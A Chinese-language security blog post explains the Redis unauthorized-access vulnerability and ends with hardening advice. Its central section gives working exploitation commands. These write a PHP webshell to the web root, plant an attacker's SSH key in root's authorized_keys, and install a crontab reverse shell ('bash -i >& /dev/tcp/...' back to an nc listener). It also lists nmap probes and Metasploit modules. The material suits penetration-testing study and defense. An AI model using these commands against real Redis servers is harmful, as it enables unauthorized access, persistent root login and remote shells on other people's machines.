Redis服务器应用漏洞

1 redis是什么

Redis是现在最受欢迎的NoSQL数据库之一,Redis是一个非常快速的开源非关系、Key-Value数据库,通常称为数据结构服务器;

Redis 在 Java Web 主要有两个应用场景: 存储 缓存 用的数据; 需要高速读/写的场合使用它快速读/写;

NoSql的四大分类

1.键值(Key-Value)存储,如Redis(优势:快速查询 劣势:存储数据缺少结构化)

2.列存储,如HBase(优势:快速查询,扩展性强 劣势:功能相对局限)

3.文档数据库,如mongoDB(优势:数据结构要求不严格 劣势:查询性能不高,确实统一查询的语法)

4.图形数据库,如InfoGrid(优势:利用图结构相关算法 劣势:需要对整个图做计算才能得到结果,不容易做分布式的集群方案)

redis安装与基本使用:https://juejin.cn/post/6844903906649047053

2 Redis漏洞

Redis 4.x/5.x 未授权访问漏洞

        因配置不当可以未经授权访问,攻击者无需认证就可以访问到内部数据,其漏洞可导致敏感信息泄露,也可以恶意执行flushall来清空所有数据,攻击者还可通过 EVAL执行lua代码,或通过数据备份功能往磁盘写入后门文件。如果Redis以root身份 运行,可以给root账户写入SSH公钥文件,直接免密码登录服务器。

Redis <= 5.0.5 主从复制 RCE

        Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言编译并加载恶意.so文件,达到代码执行的目的。

1)安装redis

https://redis.io/download

2)攻击者常用的命令

    (1)info                                     查看信息     
    (2)flushall                               删除所有数据库内容:
    (3)flushdb                               刷新数据库
    (4)exists key                          查看键值
    (5)set test "who am i"             设置变量
    (6)config set dir dirpath          设置路径等配置
    (7)config get dir/dbfilename   获取路径及数据配置信息
    (8)save                                   保存
    (9)get                                      变量,查看变量名称

3)msf下利用模块

auxiliary/scanner/redis/file_upload
auxiliary/scanner/redis/redis_login
auxiliary/scanner/redis/redis_server

4)渗透测试

探测是否存在漏洞:

nmap -v -Pn -p 6379 -sV IP

nmap -A -p 6379 --script redis-info IP

5)漏洞验证:

3 漏洞利用

3.1 往web物理路径写webshell

redis-cli -h ip地址
config set dir /var/www/html/                  (/var/www/html/为网站路径)
config set dbfilename shell.php
set x "\r\n\r\n<?php phpinfo();?>\r\n\r\n"    (用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行)
save

3.2 导入SSH公钥(用私钥登录)

在攻击机kali中生成ssh公钥和私钥:ssh-keygen -t rsa   默认情况下,生成后在用户的家目录下的 .ssh 目录下。

将公钥导入key.txt文件,再把key.txt文件内容写入目标主机的缓冲里:

cd .ssh/(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt    # 将生成的公钥保存到fairy.txtcat key.txt | redis-cli -h 受害IP地址 -x set crackOK        # 将保存ssh的公钥fairy.txt写入redis
在受害主机设置redis的备份路径为/root/.ssh/和保存文件名authorized_keys
 config set dir /root/.ssh/
config set dbfilename "authorized_keys" #设置上传公钥的备份文件名字为authorized_keysconfig get dbfilenamesaveexit

连接目标主机:

ssh -i ~/.ssh/id_rsa root@192.168.159.141

3.3 在crontab里写定时任务反弹shell

先在自己的服务器上监听一个端口:nc -lvvp 8088

写入命令

redis-cli -h 受害机IP地址config set dir /var/spool/cronconfig set dbfilename rootset x "\n\n\n*/1 * * * * bash -i >& /dev/tcp/攻击机IP地址/8088 0>&1\n\n\n" save

过一分钟以后,在”公网“的nc中会反弹shell回来。

 4 防护措施

1.禁止一些高危命令

修改 redis.conf 文件,添加以下内容,来禁用远程修改 DB 文件地址

rename-command FLUSHALL ""
rename-command CONFIG   ""
rename-command EVAL     ""

2.以低权限运行 Redis 服务

为 Redis 服务创建单独的用户和家目录,并且配置禁止登陆

$ groupadd -r redis && useradd -r -g redis redis

3.为 Redis 添加密码验证

修改 redis.conf 文件,添加

requirepass mypassword

4.禁止外网访问 Redis

修改 redis.conf 文件,添加或修改,使得 Redis 服务只在当前主机可用

bind 127.0.0.1

5.保证 authorized_keys 文件的安全

为了保证安全,您应该阻止其他用户添加新的公钥。 将 authorized_keys 的权限设置为对拥有者只读,其他用户没有任何权限:

## chmod 400 ~/.ssh/authorized_keys

为保证 authorized_keys 的权限不会被改掉,您还需要设置该文件的 immutable 位权限:

## chattr +i ~/.ssh/authorized_keys

然而,用户还可以重命名 ~/.ssh,然后新建新的 ~/.ssh 目录和 authorized_keys 文件。要避免这种情况,需要设置 ~./ssh 的 immutable 位权限:

## chattr +i ~/.ssh

注意: 如果需要添加新的公钥,需要移除 authorized_keys 的 immutable 位权限。然后,添加好新的公钥之后,按照上述步骤重新加上 immutable 位权限。

6.修改默认端口

指定Redis监听端口,默认端口为6379,作者在自己的一篇博文中解释了为什么选用6379作为默认端口,因为6379在手机按键上MERZ对应的号码,而MERZ取自意大利歌女Alessia Merz的名字

## redis-server --port 6380

7.防火墙

// accept
## iptables -A INPUT -p tcp -s 127.0.0.1 --dport 6379 -j ACCEPT
## iptables -A INPUT -p udp -s 127.0.0.1 --dport 6379 -j ACCEPT

// drop
## iptables -I INPUT -p tcp --dport 6379 -j DROP
## iptables -I INPUT -p udp --dport 6379 -j DROP

// 保存规则并重启 iptables
## service iptables save
## service iptables restar

主要参考文章:

Redis未授权访问利用——Knlvre 2020-09-13

安全学习交流群:687398569

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值